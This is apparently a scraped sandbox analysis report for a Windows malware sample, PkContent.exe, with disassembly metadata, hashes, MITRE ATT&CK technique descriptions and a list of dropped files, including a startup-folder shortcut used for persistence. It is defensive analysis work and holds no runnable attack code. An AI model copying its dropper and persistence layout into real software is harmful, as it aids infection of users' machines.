Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 0ce28e51912f6ee1662578bff84ec4ca1410645e584e21fb2e42f6594f401a9a
Instruction ID: 136fcaf2a217b1c0d6a3c6190d25ee48c33c9fc21bdb982ad07f9de0cdf36a4d
Opcode Fuzzy Hash: 0ce28e51912f6ee1662578bff84ec4ca1410645e584e21fb2e42f6594f401a9a
Instruction Fuzzy Hash: 2B01F9729042587EDB18C6A8C856EBE7BF89B11301F04419AF553D2281E674A6048B60

Function 001798B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

Part of subcall function 0017B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0017B7BD

SendMessageW.USER32(?,00000180,00000000,?), ref: 00179923

Strings

ComboBox, xrefs: 001798C2
ListBox, xrefs: 001798ED

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: cbbdcc6ef31ac14061aa09fb8b48c205ea2dabc52ba68438dc23782d96b8050c
Instruction ID: 17d58ab3871e1beb22be789b4b16ea8838e5cacb60b421ca05719b461bba508f
Opcode Fuzzy Hash: cbbdcc6ef31ac14061aa09fb8b48c205ea2dabc52ba68438dc23782d96b8050c
Instruction Fuzzy Hash: 5201D6B2A821087BDF18EBA0C952EFF77BD9F25340F14411AB946A32C1DB105F0C96B1

Function 0017993A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

Part of subcall function 0017B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0017B7BD

SendMessageW.USER32(?,00000182,?,00000000), ref: 001799A6

Strings

ComboBox, xrefs: 00179947
ListBox, xrefs: 00179972

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: a2425ec3ea5f3c641bb3ea2f05ad8bc9189b73f553777d2df86135871f6ac7a0
Instruction ID: 12e0058a8609a1dde46b20a8dfaf7f1790900acc4b3f9f7f0d1071e0fc458ac7
Opcode Fuzzy Hash: a2425ec3ea5f3c641bb3ea2f05ad8bc9189b73f553777d2df86135871f6ac7a0
Instruction Fuzzy Hash: 2C01D6B2A4610877DF14EBA4C952EFF77BC9F21340F50411AB989A3281DB245F0C96B1

Function 001854E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00185501
_wcscmp.LIBCMT ref: 00185513

Strings

#32770, xrefs: 0018550D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 37c56c50912a089bbaab7eaa776fdb823b7bb5ba5efad0b1643c35214ad22d98
Instruction ID: 61f1595dfcb9efa4da341155d1be6a53265f22952c397bfba267149bdbc0c442
Opcode Fuzzy Hash: 37c56c50912a089bbaab7eaa776fdb823b7bb5ba5efad0b1643c35214ad22d98
Instruction Fuzzy Hash: F2E068336002282BD320AA99AC49FABFBECEB18771F000157FC04D7051EF60AA408BE0

Function 00178892 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 001788A0

Part of subcall function 00143588: _doexit.LIBCMT ref: 00143592

Strings

Error allocating memory., xrefs: 00178899
AutoIt, xrefs: 00178894

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 8c7d3ed4b2e9a8a8fdedd0c53a591cc7764601ff7934fc1f415fba35f9d7ccfa
Instruction ID: e1b59623132611badb7805142616147e5e76df9365aa9e802f92e2f410e90d20
Opcode Fuzzy Hash: 8c7d3ed4b2e9a8a8fdedd0c53a591cc7764601ff7934fc1f415fba35f9d7ccfa
Instruction Fuzzy Hash: 55D05B3138535832D21572E46D0BFCA7B488F19B51F044426FB08A55D38BD595D042D5

Function 0015B4F1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0015B544: _memset.LIBCMT ref: 0015B551

Part of subcall function 00140B74: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,0015B520,?,?,?,0012100A), ref: 00140B79

IsDebuggerPresent.KERNEL32(?,?,?,0012100A), ref: 0015B524
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0012100A), ref: 0015B533

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0015B52E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 5f6273b61b817f8db5590d5f241383affe6a6392ba67f476ecc34e57a0fe2775
Instruction ID: 9bc735918f653d4d5e478b309cb12d26c6ca9327fb93050c6fa8de75e27ef52f
Opcode Fuzzy Hash: 5f6273b61b817f8db5590d5f241383affe6a6392ba67f476ecc34e57a0fe2775
Instruction Fuzzy Hash: 37E09270204311CFD3219F75E548B467AE0AF18345F048A5DE866CB751EBB4D588CBA1

Function 00160251 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00160091

Part of subcall function 0019C6D9: LoadLibraryA.KERNEL32(kernel32.dll,?,0016027A,?), ref: 0019C6E7
Part of subcall function 0019C6D9: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0019C6F9

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00160289

Strings

WIN_XPe, xrefs: 001600A4

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 9b13b4686324675040c9c1d9493b3bb17a65b3e6dcb8890b2ea35757354806d2
Instruction ID: 1ead1ec5379a9705ae0f8fb4529665b4127ff1842a68a62b868d7d39cc64f773
Opcode Fuzzy Hash: 9b13b4686324675040c9c1d9493b3bb17a65b3e6dcb8890b2ea35757354806d2
Instruction Fuzzy Hash: 17F0C971805109DFCB1ADBA4CD98BEEBBB8AB0C340F241085F146B6590CB714F94DF21

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PkContent.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user~1\AppData\Local\Temp\Hammer.bat (copy)

C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js

C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr

C:\Users\user\AppData\Local\GuardKey Solutions\g

C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

C:\Users\user\AppData\Local\Temp\724598\y

C:\Users\user\AppData\Local\Temp\Agencies

C:\Users\user\AppData\Local\Temp\Explorer

C:\Users\user\AppData\Local\Temp\Hammer

C:\Users\user\AppData\Local\Temp\Ought

C:\Users\user\AppData\Local\Temp\Situated

C:\Users\user\AppData\Local\Temp\Weight

C:\Users\user\AppData\Local\Temp\West

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url

Static File Info

General

File Icon

Windows Analysis Report
PkContent.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre